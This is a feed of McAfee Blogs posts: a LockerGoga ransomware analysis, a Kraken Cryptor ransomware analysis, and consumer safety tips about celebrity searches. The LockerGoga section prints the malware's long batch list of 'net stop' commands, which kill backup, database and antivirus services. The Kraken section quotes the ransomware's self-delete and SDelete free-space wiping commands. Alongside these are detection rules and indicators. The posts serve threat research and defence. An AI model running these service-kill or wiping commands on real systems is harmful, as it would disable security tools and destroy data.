Due to the presence of these batch files and the fact that the malware binary makes no direct reference to them, we believe that the spreading mechanism is executed manually by an attacker or via an unknown binary. The path, username, and passwords are hardcoded in the scripts which indicate the attacker had previous knowledge of the environment.

The following is a list of all the processes and services disabled by the malware:

One batch file found in the infected systems where LockerGoga was executed will stop services and processes regarding critical services in the system and security software:

net stop BackupExecAgentAccelerator /y net stop McAfeeEngineService /y
net stop BackupExecAgentBrowser /y net stop McAfeeFramework /y
net stop BackupExecDeviceMediaService /y net stop McAfeeFrameworkMcAfeeFramework /y
net stop BackupExecJobEngine /y net stop McTaskManager /y
net stop BackupExecManagementService /y net stop mfemms /y
net stop BackupExecRPCService /y net stop mfevtp /y
net stop BackupExecVSSProvider /y net stop MMS /y
net stop bedbg /y net stop mozyprobackup /y
net stop DCAgent /y net stop MsDtsServer /y
net stop EPSecurityService /y net stop MsDtsServer100 /y
net stop EPUpdateService /y net stop MsDtsServer110 /y
net stop EraserSvc11710 /y net stop MSExchangeES /y
net stop EsgShKernel /y net stop MSExchangeIS /y
net stop FA_Scheduler /y net stop MSExchangeMGMT /y
net stop IISAdmin /y net stop MSExchangeMTA /y
net stop IMAP4Svc /y net stop MSExchangeSA /y
net stop macmnsvc /y net stop MSExchangeSRS /y
net stop masvc /y net stop MSOLAP$SQL_2008 /y
net stop MBAMService /y net stop MSOLAP$SYSTEM_BGC /y
net stop MBEndpointAgent /y net stop MSOLAP$TPS /y
net stop McShield /y net stop MSSQLFDLauncher$TPS /y
net stop MSOLAP$TPSAMA /y net stop MSSQLFDLauncher$TPSAMA /y
net stop MSSQL$BKUPEXEC /y net stop MSSQLSERVER /y
net stop MSSQL$ECWDB2 /y net stop MSSQLServerADHelper100 /y
net stop MSSQL$PRACTICEMGT /y net stop MSSQLServerOLAPService /y
net stop MSSQL$PRACTTICEBGC /y net stop MySQL57 /y
net stop MSSQL$PROFXENGAGEMENT /y net stop ntrtscan /y
net stop MSSQL$SBSMONITORING /y net stop OracleClientCache80 /y
net stop MSSQL$SHAREPOINT /y net stop PDVFSService /y
net stop MSSQL$SQL_2008 /y net stop POP3Svc /y
net stop MSSQL$SYSTEM_BGC /y net stop ReportServer /y
net stop MSSQL$TPS /y net stop ReportServer$SQL_2008 /y
net stop MSSQL$TPSAMA /y net stop ReportServer$SYSTEM_BGC /y
net stop MSSQL$VEEAMSQL2008R2 /y net stop ReportServer$TPS /y
net stop MSSQL$VEEAMSQL2012 /y net stop ReportServer$TPSAMA /y
net stop MSSQLFDLauncher /y net stop RESvc /y
net stop MSSQLFDLauncher$PROFXENGAGEMENT /y net stop sacsvr /y
net stop MSSQLFDLauncher$SBSMONITORING /y net stop MSSQLFDLauncher$SHAREPOINT /y net stop SamSs /y
net stop MSSQLFDLauncher$SQL_2008 /y net stop SAVAdminService /y
net stop MSSQLFDLauncher$SYSTEM_BGC /y net stop SAVService /y
net stop MSOLAP$TPSAMA /y net stop MSSQLFDLauncher$TPS /y
net stop MSSQL$BKUPEXEC /y net stop MSSQLFDLauncher$TPSAMA /y
net stop SDRSVC /y net stop SQLSafeOLRService /y
net stop SepMasterService /y net stop SQLSERVERAGENT /y
net stop ShMonitor /y net stop SQLTELEMETRY /y
net stop Smcinst /y net stop SQLTELEMETRY$ECWDB2 /y
net stop SmcService /y net stop SQLWriter /y
net stop SMTPSvc /y net stop SstpSvc /y
net stop SNAC /y net stop svcGenericHost /y
net stop SntpService /y net stop swi_filter /y
net stop sophossps /y net stop swi_service /y
net stop SQLAgent$BKUPEXEC /y net stop swi_update_64 /y
net stop SQLAgent$ECWDB2 /y net stop TmCCSF /y
net stop SQLAgent$PRACTTICEBGC /y net stop tmlisten /y
net stop SQLAgent$PRACTTICEMGT /y net stop TrueKey /y
net stop SQLAgent$PROFXENGAGEMENT /y net stop TrueKeyScheduler /y
net stop SQLAgent$SBSMONITORING /y net stop TrueKeyServiceHelper /y
net stop SQLAgent$SHAREPOINT /y net stop SQLAgent$SQL_2008 /y net stop UI0Detect /y
net stop SQLAgent$SYSTEM_BGC /y net stop SQLAgent$TPS /y net stop VeeamBackupSvc /y
net stop SQLAgent$TPSAMA /y net stop VeeamBrokerSvc /y
net stop SQLAgent$VEEAMSQL2008R2 /y net stop SQLAgent$VEEAMSQL2012 /y net stop VeeamCatalogSvc /y
net stop SQLBrowser /y net stop VeeamCloudSvc /y
net stop SDRSVC /y net stop SQLSafeOLRService /y
net stop SepMasterService /y net stop SQLSERVERAGENT /y
net stop ShMonitor /y net stop SQLTELEMETRY /y
net stop VeeamDeploymentService /y net stop NetMsmqActivator /y
net stop VeeamDeploySvc /y net stop EhttpSrv /y
net stop VeeamEnterpriseManagerSvc /y net stop ekrn /y
net stop VeeamMountSvc /y net stop ESHASRV /y
net stop VeeamNFSSvc /y net stop MSSQL$SOPHOS /y
net stop VeeamRESTSvc /y net stop SQLAgent$SOPHOS /y
net stop VeeamTransportSvc /y net stop AVP /y
net stop W3Svc /y net stop klnagent /y
net stop wbengine /y net stop MSSQL$SQLEXPRESS /y
net stop WRSVC /y net stop SQLAgent$SQLEXPRESS /y net stop wbengine /y
net stop MSSQL$VEEAMSQL2008R2 /y net stop kavfsslp /y
net stop SQLAgent$VEEAMSQL2008R2 /y net stop VeeamHvIntegrationSvc /y net stop KAVFSGT /y
net stop swi_update /y net stop KAVFS /y
net stop SQLAgent$CXDB /y net stop mfefire /y
net stop SQLAgent$CITRIX_METAFRAME /y net stop “SQL Backups” /y net stop “avast! Antivirus” /y
net stop MSSQL$PROD /y net stop aswBcc /y
net stop “Zoolz 2 Service” /y net stop “Avast Business Console Client Antivirus Service” /y
net stop MSSQLServerADHelper /y net stop mfewc /y
net stop SQLAgent$PROD /y net stop Telemetryserver /y
net stop msftesql$PROD /y net stop WdNisSvc /y
net stop WinDefend /y net stop EPUpdateService /y
net stop MCAFEETOMCATSRV530 /y net stop TmPfw /y
net stop MCAFEEEVENTPARSERSRV /y net stop SentinelAgent /y
net stop MSSQLFDLauncher$ITRIS /y net stop SentinelHelperService /y
net stop MSSQL$EPOSERVER /y net stop LogProcessorService /y
net stop MSSQL$ITRIS /y net stop EPUpdateService /y
net stop SQLAgent$EPOSERVER /y net stop TmPfw /y
net stop SQLAgent$ITRIS /y net stop SentinelAgent /y
net stop SQLTELEMETRY$ITRIS /y net stop SentinelHelperService /y
net stop MsDtsServer130 /y net stop LogProcessorService /y
net stop SSISTELEMETRY130 /y net stop EPUpdateService /y
net stop MSSQLLaunchpad$ITRIS /y net stop TmPfw /y
net stop BITS /y net stop SentinelAgent /y
net stop BrokerInfrastructure /y net stop EPProtectedService /y
net stop epag /y net stop epredline /y
net stop EPIntegrationService /y net stop EPSecurityService /y

New ransomware, new features, but still room to improve

We will continue tracking LockerGoga, but we have already seen some interesting features never seen before, such as parallel tasking encrypting the system or log files for debugger purposes. We did not see any spreading method used to deliver LockerGoga so it would be fair to assume it is used in targeted campaigns after the attackers had access to the system. At the time of this analysis, all the samples are not packed, or have complex methods of protection from being executed inside a sandbox system, though this could change in the near future.

Also, during the analysis, we observed LockerGoga encrypting legitimate DLLs, breaking the functionality of certain applications in the system, and also ciphering itself during the process, causing a crash:

We expect all these errors will be fixed with further development of the malware.


The McAfee ATR team is observing how some new ransomware players in the cybersecurity field are reusing, or at least only making some minor modifications to, some features used by other ransomware families.

In the case of LockerGoga we can observe the following in:

  • Sectigo as a certificate, also used to digitally sign the certificate
  • Ransom note slightly modified from Ryuk Ransomware
  • Specific FileMarker used to flag the encrypted files
  • No BTC address used in the ransom note, meaning victims must make contact directly by email, something that we have seen elsewhere in our latest investigations.

MITRE ATT&CK Coverage:


Kernel Modules and Extensions

Process Injection

Code Signing

Query Registry

Process Discovery

Data Compressed

McAfee coverage:

Detection names: 
















Expert Rules

The following expert rules can be used in Endpoint Security to block the malware from spreading. These rules are aggressive and may cause false positives, so make sure they are removed once the environment is cleaned:

Rule {

Process {



Target {

Match FILE {

Include OBJECT_NAME { -v “c:\\windows\\temp\\*.exe” }

Include OBJECT_NAME { -v “c:\\windows\\temp\\*.bat” }

Include -access “CREATE”




Rule {

Process {

Include OBJECT_NAME { -v “WmiPrvSE.exe” }


Target {


Include OBJECT_NAME { -v “cmd.exe”}

Include -access “CREATE”




Customers can also add the following Access Protection rule to prevent the creation of encrypted files on the victim host:

Prescriptive guidance

It is advisable for customers to undertake appropriate risk assessment to determine if this threat has a high probability of targeting their environments.  Whilst the above detailed known samples are incorporated within McAfee technologies, customers can also add the following Access Protection rules to prevent the creation of encrypted files on the victim host:


  • Inclusion Status: Include
  • File Name or Path: *
  • SubRule:


  • Type: File
  • Operations: Create
  • Targets:
    • Target 1:
      • Include
      • Files: *.locked
    • Target 2:
      • Include
      • Destination file: *.locked

Customers can also add the following Access Protection rule to prevent the creation of encrypted files on the victim host:

  • File/Folder Access Protection Rule: Processes tInclude: *
  • File or folder name tblock: *.locked
  • File actions tprevent: New files being create

Access Protection Rules:

Customers can also add Access Protection rules matching these characteristics: Prevent Creation\Execution of:

  • c:\windows\temp\x??.bat
  • c:\windows\temp\kill.bat
  • c:\windows\temp\taskhost.exe

Prevent execution of binaries signed with SN:

  • C=GB, PostalCode=DT3 4DD, S=WEYMOUTH, L=WEYMOUTH, STREET=16 Australia Road Chickerell,
  • C=GB, PostalCode=WC2H 9JQ, S=LONDON, L=LONDON, STREET=71-75 Shelton Street Covent
  • C=GB, PostalCode=EC1V 2NX, S=LONDON, L=LONDON, STREET=Kemp House 160 City Road,


We have a YARA rule available on our ATR github repository:


















































The post LockerGoga Ransomware Family Used in Targeted Attacks appeared first on McAfee Blogs.

]]> 0
Fallout Exploit Kit Releases the Kraken Ransomware on Its Victims Tue, 30 Oct 2018 21:00:33 +0000

Alexandr Solad and Daniel Hatheway of Recorded Future are coauthors of this post. Read Recorded Future’s version of this analysis.  Rising from the deep, Kraken Cryptor ransomware has had a notable development path in recent months. The first signs of Kraken came in mid-August on a popular underground forum. In mid-September it was reported that […]

The post Fallout Exploit Kit Releases the Kraken Ransomware on Its Victims appeared first on McAfee Blogs.


Alexandr Solad and Daniel Hatheway of Recorded Future are coauthors of this post. Read Recorded Future’s version of this analysis. 

Rising from the deep, Kraken Cryptor ransomware has had a notable development path in recent months. The first signs of Kraken came in mid-August on a popular underground forum. In mid-September it was reported that the malware developer had placed the ransomware, masquerading as a security solution, on the website SuperAntiSpyware, infecting systems that tried to download a legitimate version of the antispyware software.

Kraken’s presence became more apparent at the end of September, when the security researcher nao_sec discovered that the Fallout Exploit Kit, known for delivering GandCrab ransomware, also started to deliver Kraken.

The McAfee Advanced Threat Research team, working with the Insikt group from Recorded Future, found evidence of the Kraken authors asking the Fallout team to be added to the Exploit Kit. With this partnership, Kraken now has an additional malware delivery method for its criminal customers.

We also found that the user associated with Kraken ransomware, ThisWasKraken, has a paid account. Paid accounts are not uncommon on underground forums, but usually malware developers who offer services such as ransomware are highly trusted members and are vetted by other high-level forum members. Members with paid accounts are generally distrusted by the community.


Kraken Cryptor’s developers asking to join the Fallout Exploit Kit.

Kraken Cryptor announcement.

The ransomware was announced, in Russian, with the following features:

  • Encoded in C# (.NET 3.5)
  • Small stub size ~85KB
  • Fully autonomous
  • Collects system information as an encrypted message for reference
  • File size limit for encryption
  • Encryption speed faster than ever
  • Uses a hybrid combination of encryption algorithms (AES, RC4, Salsa20) for secure and fast encryption with a unique key for each file
  • Enables the use of a network resource and adds an expansion bypass mode for encrypting all files on non-OS disks
  • Is impossible to recover data using a recovery center or tools without payment
  • Added antidebug, antiforensic methods

Kraken works with an affiliate program, as do ransomware families such as GandCrab. This business scheme is often referred to a Ransomware-as-a-Service (RaaS).

Affiliates are given a new build of Kraken every 15 days to keep the payload fully undetectable from antimalware products. According to ThisWasKraken, when a victim asks for a free decryption test, the affiliate member should send one of the victim’s files with its associated unique key to the Kraken Cryptor ransomware support service. The service will decrypt the file and resend it to the affiliate member to forward the victim. After the victim pays the full ransom, the affiliate member sends a percentage of the received payment to the RaaS developers to get a decryptor key, which is forwarded to the victim. This system ensures the affiliate pays a percentage to the affiliate program and does not simply pocket the full amount. The cut for the developers offers them a relatively safe way of making a profit without exposing themselves to the risk of spreading ransomware.

We have observed that the profit percentage for the developers has decreased from 25% in Version 1 to 20% in Version 2. The developers might have done this to attract more affiliates. To enter the program, potential affiliates must complete a form and pay $50 to be accepted.

In the Kraken forum post it states that the ransomware cannot be used in the following countries:

  • Armenia
  • Azerbaijan
  • Belarus
  • Estonia
  • Georgia
  • Iran
  • Kazakhstan
  • Kyrgyzstan
  • Latvia
  • Lithuania
  • Moldova
  • Russia
  • Tajikistan
  • Turkmenistan
  • Ukraine
  • Uzbekistan

On October 21, Kraken’s authors released Version 2 of the affiliate program, reflecting the ransomware’s popularity and a fresh release. At the same time, the authors published a map showing the distribution of their victims:

Note that some of the countries on the developers’ exclusion list have infections.

Video promotions

The first public release of Kraken Cryptor was Version 1.2; the latest is Version 2.07. To promote the ransomware, the authors created a video showing its capabilities to potential customers. We analyzed the metadata of the video and believe the authors created it along with the first version, released in August.

In the video, the authors show how fast Kraken can encrypt data on the system:

Kraken ransomware in action.

Actor indications

The Advanced Threat Research team and Recorded Future’s Insikt group analyzed all the forum messages posted by ThisWasKraken. Based on the Russian language used in the posts, we believe ThisWasKraken is neither a native Russian nor English speaker. To make forum posts in Russian, the actor likely uses an automated translation service, suggested by the awkward phrasing indicative of such a service. In contrast, the actor is noticeably more proficient in English, though they make mistakes consistently in both sentence structure and spelling. English spelling errors are also noticeable in the ransom note.

ThisWasKraken is likely part of a team that is not directly involved in the development of the ransomware. The actor’s role is customer facing, through the Jabber account thiswaskraken@exploit[.]im. Communications with ThisWasKraken show that the actor refers all technical issues to the product support team at teamxsupport@protonmail[.]com.


Bitcoin is the only currency the affiliate program uses. Insikt Group identified several wallets associated with the operation. Kraken’s developers appear to have choose BitcoinPenguin, an online gambling site as the primary money laundering conduit. It is very uncommon for criminal actors, and specifically ransomware operators, to bypass traditional cryptocurrency exchangers when laundering stolen funds. One of the decisive factors for the unusual choice was likely BitcoinPenguin’s lack of requiring identity verification by its members, allowing anyone to maintain an anonymous cryptocurrency wallet.

Although in response to regulatory demands cryptocurrency exchangers continue to stiffen their registration rules, online crypto casinos do not have to follow the same know-your-customer guidelines, providing a convenient loophole for all kinds of money launderers.

Bitcoin transactions associated with Kraken analyzed with the Crystal blockchain tool. The parent Bitcoin wallet is 3MsZjBte81dvSukeNHjmEGxKSv6YWZpphH.

Kraken Cryptor at work

The ransomware encrypts data on the disk very quickly and uses external tools, such as SDelete from the Sysinternals suite, to wipe files and make file recovery harder.

The Kraken Cryptor infection scheme.

The ransomware has implemented a user account control (UAC) bypass using the Windows Event Viewer. This bypass technique is used by other malware families and is quite effective for executing malware.

The technique is well explained in an article by blogger enigma0x3.

We analyzed an early subset of Kraken ransomware samples and determined they were still in the testing phase, adding and removing options. The ransomware has implemented a “protection” to delete itself during the infection phase:

“C:\Windows\System32\cmd.exe” /C ping -n 3 > NUL&&del /Q /F /S “C:\Users\Administrator\AppData\Local\Temp\krakentemp0000.exe”

This step is to prevent researchers and endpoint protections from catching the file on an infected machine.

Kraken encrypts user files with a random name and drops the ransom note demanding the victim to pay to recover them. McAfee recommends not paying ransoms because doing so contributes to the development of more ransomware families.

Kraken’s ransom note.

Each file extension is different; this technique is often used by specific ransomware families to bypass endpoint protection systems.

Kraken delivered by the exploit kit bypasses the UAC using Event Viewer, drops a file on the system, and executes it through the UAC bypass method.

The binary delivered by the exploit kit.

The authors of the binary forgot during the compilation of the first versions to delete the PDB reference, revealing that the file has a relationship with Kraken Cryptor:

The early versions contained the following path:


Later versions dropped the PDB path together with the Kraken loader.

Using SysInternals tools

One unique feature of this ransomware family is the use of SDelete. Kraken uses a .bat file to perform certain operations, making file recovery much more challenging:

Kraken downloads SDelete from the Sysinternals website, adds the registry key accepting the EULA to avoid the pop-up, and executes it with the following arguments:

sdelete.exe -c -z C

The SDelete batch file makes file recovery much harder by overwriting all free space on the drive with zeros, deleting the Volume Shadow Copies, disabling the recovery reboot option and finally rebooting the system after 300 seconds.

Netguid comparison

The earlier versions of Kraken were delivered by a loader before it moved to a direct execution method. The loader we examined contained a specific netguid. With this, we found additional samples of the Kraken loader on VirusTotal:

Not only the loader had a specific netguid but the compiled versions of Kraken also shared a netguid, making it possible to continue hunting samples:

Comparing versions

Kraken uses a configuration file in every version to set the variables for the ransomware. This file is easily extracted for additional analysis.

Based on the config file we have discovered nine versions of Kraken:

  • 1.2
  • 1.3
  • 1.5
  • 1.5.2
  • 1.5.3
  • 1.6
  • 2.0
  • 2.0.4
  • 2.0.7

By extracting the config files from all the versions, we built the following overview of features. (The √ means the feature is present.)

All the versions we examined mostly contain the same options, changing only in some of them the antivirtual protection and antiforensic capabilities. The latest version, Kraken 2.0.7, changed its configuration scheme. We will cover that later in this article.

Other differences in Kraken’s config file include the list of countries excluded from encryption. The standouts are Brazil and Syria, which were not named in the original forum advertisement.

Having an exclusion list is a common method of cybercriminals to avoid prosecution. Brazil’s addition to the list in Version 1.5 suggests the involvement of a Brazilian affiliate. The following table shows the exclusion list by country and version. (The √ means the country appears on the list.)


All the Kraken releases have excluded the same countries, except for Brazil, Iran, and Syria.

Regarding Syria: We believe that the Kraken actors have had the same change of heart as the actors behind GandCrab, who recently released decryption keys for Syrian victims after a tweet claimed they had no money to pay the ransoms.


GandCrab’s change of heart regarding Syrian victims.

Version 2.0.7

The most recent version we examined comes with a different configuration scheme:

This release has more options. We expect this malware will be more configurable than other active versions.

APIs and statistics

One of the new features is a public API to track the number of victims:

Public API to track the number of victims. Source: Bleeping Computer.

Another API is a hidden service to track certain statistics:


The Onion URL can be found easily in the binary:

The endpoint and browser Kraken uses is hardcoded in the config file:

Kraken gathers the following information from every infection:

  • Status
  • Operating system
  • Username
  • Hardware ID
  • IP address
  • Country
  • City
  • Language
  • HDCount
  • HDType
  • HDName
  • HDFull
  • HDFree
  • Privilege
  • Operate
  • Beta

Kraken infrastructure

In Versions 1.2 through 2.04 Kraken contacts blasze[.]tk to download additional files. The site has Cloudflare protection to mitigate against DDoS attacks:

The domain is not accessible from many countries:


McAfee coverage

McAfee detects this threat with the following signatures:

  • Artemis!09D3BD874D9A
  • Artemis!475A697872CA
  • Artemis!71F510C40FE5
  • Artemis!99829D5483EF
  • Artemis!CE7606CFDFC0
  • Artemis!F1EE32E471A4
  • RDN/Generic.dx
  • RDN/Generic.tfr
  • RDN/Ransom

Indicators of compromise

Kraken loader hashes

  • 564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd
  • 53a28d3d29e655deca6702c98e71a9bd52a5a6de05524234ab362d27bd71a543

Kraken ransomware samples hashes

  • 9e967a759e894a83c4b693e81c031d7214a8e699
  • 1655eb1118cc900f86b8d6467988f15648e3bc97
  • dd832f01d83be81a1d3afe8344fe0d0f9c02ae76
  • 3004b5ce8f496c6f6c539075142a7d8e98d43c5e
  • 96f7a3256434589dd131ab6500b385febcddd5bd
  • 09c2ec559f7760f59c9bfb39d171107ed0877f89
  • 3024e7f0e04ba0115c292cfd5bc54c350bd9e66a
  • 617426cb5656ad925734be4cb39fe265550e37e8
  • 5ed4b6bd93f026000aa05b373c1580c7290714b8
  • d8d8fad628b871ddfcddb01730456d03e67188ee
  • 3edaac2012d7582682df588f63bf78c222b7f348
  • 1c6f0d5b7a7177f67a8b78ea0205819e0563120d
  • 9e967a759e894a83c4b693e81c031d7214a8e699
  • e9e13458cff0f31263d802b1b31fc0630aef35fa
  • e5f8d925ee95a1c95be1f1346acd935b70e85428
  • b1fa4d1c518c00668107193d3296c5b2f05ca12c
  • 24683738ef9c5d7cff30c17ec6df6575a62859d7
  • d5db2499bbd849d715074e07a1fe56d60c868c6d
  • 669605b2968e3eca80c9366f973dc589057227e5
  • 299df78d09734d2c7337b1874bfd43e2050b14f7
  • d67c5d1d2af0d137ad9796fa5d9ed73a4e28b8be
  • 225debde67b8293512c9d4825e2ec85b9868c7e2
  • e4bc2e4c2829684fcd4352539e3d8349a7b9fe7b
  • ca7835865133121788bb07fb49cedad3e9601656
  • 12431515b0bed686a64f27f536644c0d7b8415a8
  • 6578c6b09deaead98513517dc0bcdce0a2bfe091
  • c86dfcef3b348d59391d8e4a724b6328a4cc97ea
  • 345692e03227cc66634b6ad401dd11b7fcf243ed
  • 45ba0e803159f7b014c22435d5cd9224f2064544
  • 00f06b15494dd72057b7688b88914bef6a19fec9
  • c3c4d0061dce6ed695f666fb0dd0b8b8c62d8a9a
  • 75eb19f0037b30abc5003458db883833149c39de
  • d1bed69e8ee7d4eab573d02d5137454c8f675c46
  • 564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd
  • 3a28d3d29e655deca6702c98e71a9bd52a5a6de05524234ab362d27bd71a543
  • 047de76c965b9cf4a8671185d889438e4b6150326802e87470d20a3390aad304
  • 0b6cd05bee398bac0000e9d7032713ae2de6b85fe1455d6847578e9c5462391f
  • 159b392ec2c052a26d6718848338011a3733c870f4bf324863901ec9fbbbd635
  • 180406f298e45f66e205bdfb2fa3d8f6ead046feb57714698bdc665548bebc95
  • 1d7251ca0b60231a7dbdbb52c28709a6533dcfc4a339f4512955897c7bb1b009
  • 2467d42a4bdf74147ea14d99ef51774fec993eaef3c11694125a3ced09e85256
  • 2b2607c435b76bca395e4ef4e2a1cae13fe0f56cabfc54ee3327a402c4ee6d6f
  • 2f5dec0a8e1da5f23b818d48efb0b9b7065023d67c617a78cd8b14808a79c0dc
  • 469f89209d7d8cc0188654e3734fba13766b6d9723028b4d9a8523100642a28a
  • 4f13652f5ec4455614f222d0c67a05bb01b814d134a42584c3f4aa77adbe03d0
  • 564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd
  • 61396539d9392ae08b2c9836dd19a58efb541cf0381ea6fef28637aae63084ed
  • 67db0f639d5f4c021efa9c2b1db3b3bc85b2db920859dbded5fed661cc81282d
  • 713afc925973a421ff9328ff02c80d38575fbadaf27a1db0063b3a83813e8484
  • 7260452e6bd05725074ba92b9dc8734aec12bbf4bbaacd43eea9c8bbe591be27
  • 7747587608db6c10464777bd26e1abf02b858ef0643ad9db8134e0f727c0cd66
  • 7e0ee0e707db426eaf25bd0924631db969bb03dd9b13addffbcc33311a3b9aa7
  • 7fb597d2c8ed8726b9a982b2a84d1c9cc2af65345588d42dd50c8cebeee03dff
  • 85c75ac7af9cac6e2d6253d7df7a0c0eec6bdd71120218caeaf684da65b786be
  • 8a0320f3fee187040b1922c6e8bdf5d6bacf94e01b90d65e0c93f01e2abd1e0e
  • 97ed99508e2fae0866ad0d5c86932b4df2486da59fc2568fb9a7a4ac0ecf414d
  • 9c88c66f44eba049dcf45204315aaf8ba1e660822f9e97aec51b1c305f5fdf14
  • a33dab6d7adb83691bd14c88d7ef47fa0e5417fec691c874e5dd3918f7629215
  • b639e26a0f0354515870ee167ae46fdd9698c2f0d405ad8838e2e024eb282e39
  • cae152c9d91c26c1b052c82642670dfb343ce00004fe0ca5d9ebb4560c64703b
  • d316611df4b9b68d71a04ca517dbd94615a77a87f7a8c270d100ef9729a4e122
  • e39d5f664217bda0d95d126cff58ba707d623a58a750b53c580d447581f15af6
  • f7179fcff00c0ec909b615c34e5a5c145fedf8d9a09ed04376988699be9cc6d5
  • f95e74edc7ca3f09b582a7734ad7a547faeb0ccc9a3370ec58b9a27a1a6fd4a7
  • fea3023f06d0903a05096f1c9fc7113bea50b9923a3c024a14120337531180cd
  • ff556442e2cc274a4a84ab968006350baf9897fffd680312c02825cc53b9f455


  • f34d5f2d4577ed6d9ceec516c1f5a744


  • thiswaskraken@exploit[.]im

Email addresses found in the binaries and configuration files

  • BM-2cUEkUQXNffBg89VwtZi4twYiMomAFzy6o@bitmessage(.)ch
  • BM-2cWdhn4f5UyMvruDBGs5bK77NsCFALMJkR@bitmessage(.)ch
  • nikolatesla@cock(.)li
  • nikolateslaproton@protonmail(.)com
  • oemfnwdk838r@mailfence(.)com
  • onionhelp@memeware(.)net
  • powerhacker03@hotmail(.)com
  • shfwhr2ddwejwkej@tutanota(.)com
  • shortmangnet@420blaze(.)it
  • teamxsupport@protonmail[.]com

Bitcoin address

  • 3MsZjBte81dvSukeNHjmEGxKSv6YWZpphH

PDBs found in the loader samples

  • C:\Users\Krypton\source\repos\UAC\UAC\obj\\Release\UAC.pdb

Associated Filenames

  • C:\ProgramData\Safe.exe C:\ProgramData\EventLog.txt
  • # How to Decrypt Files.html
  • Kraken.exe
  • Krakenc.exe
  • Release.bat
  • <random>.bat
  • Sdelete.exe
  • Sdelete64.exe
  • <random>.exe
  • CabXXXX.exe
  • TarXXXX.exe
  • SUPERAntiSpywares.exe
  • KrakenCryptor.exe
  • 73a94429b321dfc_QiMAWc2K2W.exe
  • auService.exe
  • file.exe
  • bbdefac4e59207._exe
  • Build.exe

Ransomware demo version


Kraken Unique Key

MITRE ATT&CK™ techniques

  • Data compressed
  • Email collection
  • File and directory
  • File deletion
  • Hooking
  • Kernel modules and extensions
  • Modify registry
  • Process injection
  • Query registry
  • Remote system
  • Security software
  • Service execution
  • System information
  • System time

Yara rules

The McAfee Advanced Threat Research team created Yara rules to detect the Kraken ransomware. The rules are available on our Github repository.


The post Fallout Exploit Kit Releases the Kraken Ransomware on Its Victims appeared first on McAfee Blogs.

]]> 0
Aussie Ruby Rose is McAfee’s Most Dangerous Celebrity Tue, 02 Oct 2018 21:56:32 +0000 Keeping up to date with celebrity gossip is a sport for many of us. Staying on top of what your favourite celebrity wore to the latest Hollywood shindig and, of course who they were with can be very time consuming and often require extensive searching! But did you know that searching for your favourite celebrity […]

The post Aussie Ruby Rose is McAfee’s Most Dangerous Celebrity appeared first on McAfee Blogs.

Keeping up to date with celebrity gossip is a sport for many of us. Staying on top of what your favourite celebrity wore to the latest Hollywood shindig and, of course who they were with can be very time consuming and often require extensive searching! But did you know that searching for your favourite celebrity can actually put your personal security at risk?

Every year McAfee, the device-to-cloud cybersecurity company, undertakes global research, entitled Most Dangerous Celebrities, to identify which celebrities generate the riskiest search results which could potentially expose fans to malicious websites and risky downloads. And in 2018, the top spot was filled for the first time ever by an Australian celebrity: actress and television presenter Ruby Rose.

The very talented Ruby Rose kicked off her career as a hugely popular VJ (video jockey) on MTV. Before long, she went on to enjoy great success as a model, television presenter and then actress with her role as Stella Carlin in the cult series Orange Is The New Black. Ruby’s casting as Batwoman in the upcoming television series would have no doubt assisted in propelling her to first position.

Who Are the Most Dangerous Celebrities to Search For in 2018?

In the global list of Most Dangerous Celebrities, American reality TV star, Kristin Cavallari finished behind Rose at No. 2, followed by French actress Marion Cotillard (No. 3), the original Wonder Woman Lynda Carter (No. 4), Aussie actress Rose Byrne (No. 5), star of Will and Grace Debra Messing (No. 6), reality TV star Kourtney Kardashian (No. 7), actress Amber Heard (No. 8), American morning TV show host Kelly Ripa (No. 9), and finally Orange Is The New Black actor, Brad William Henke round out the top 10.

American actress Lucy Liu topped Australia’s list of the Most Dangerous Celebrities to search for. The top 10 list was littered with Aussie celebrities as well, including Naomi Watts (No. 2), Cate Blanchett (No 4.), Elle Macpherson (No.9) and Margot Robbie (No.10).

Interestingly, Aussie morning TV show host Sonya Kruger came in at number 17 on the list, a notable mention after appearing alongside other Australian TV stars, such as Carrie Bickmore and Georgie Gardiner in the recent fake Facebook ads scamming unsuspecting victims into purchasing face cream subscriptions. The recent Facebook scam demonstrates how cybercriminals capitalise on our love of celebrity when trying to trap unsuspecting consumers into scams.

Cybercriminals Capitalise on our ‘Celebrity Culture’

Online scammers and cybercriminals are always looking at new ways to get their hands on our private information with the aim of making big bucks. Tapping into our love of celebrity, cybercriminals will create professional looking websites that contain downloads which contain spyware or malware. These malicious celebrity sites may also require users to set up an account. Unsuspecting visitors will then provide their email addresses and passwords to the site not realising that their details have been compromised.

Our fast-paced modern lives mean that we often cut corners in the name of speed and convenience. Some of us are just so keen to view the promised content about our favourite celebrity that we drop our guard and don’t take the time to ensure the site is legitimate.

But not taking the time to ensure a link is safe means fans are not only putting their devices at risk of infection from viruses, but themselves at risk of identity theft.

How to Avoid Being Targeted by a Cyber Criminal

One of the best ways of staying safe online and avoiding falling victim to a scam is to adopt safe searches practices. Here are my top tips to ensure you stay out of trouble!

1. Think Before You Click

Users looking for a sneak-peek of Ruby Rose’s upcoming Batwoman series should be cautious and only download directly from a reliable source. The safest thing to do is to wait for the official release instead of visiting a third-party website that could contain malware.

2. Apply Updates as Soon as they are Available

Device and app updates will often include security fixes. Applying updates is an important step to help ensure devices stay protected.

3. Browse with Security Protection

Searching and browsing without security software is a little like navigating a foreign city with any guidelines. McAfee Total Protection is a comprehensive security solution that can help keep devices protected against malware, phishing attacks, and other threats. It includes McAfee WebAdvisor which can help identify malicious websites – very helpful!

4. Use Parental Control Software

Kids are fans of celebrities too, so ensure that limits are set on the child’s device and use software that can help minimise exposure to potentially malicious or inappropriate websites.

Whether you celebrity watch because you are enamoured, envious or inspired, please don’t let your hobby put you at risk of identity theft. Ensure you (and your kids) search safely so you can stay out of the way of cybercrims and their scams!

Alex x


The post Aussie Ruby Rose is McAfee’s Most Dangerous Celebrity appeared first on McAfee Blogs.

]]> 0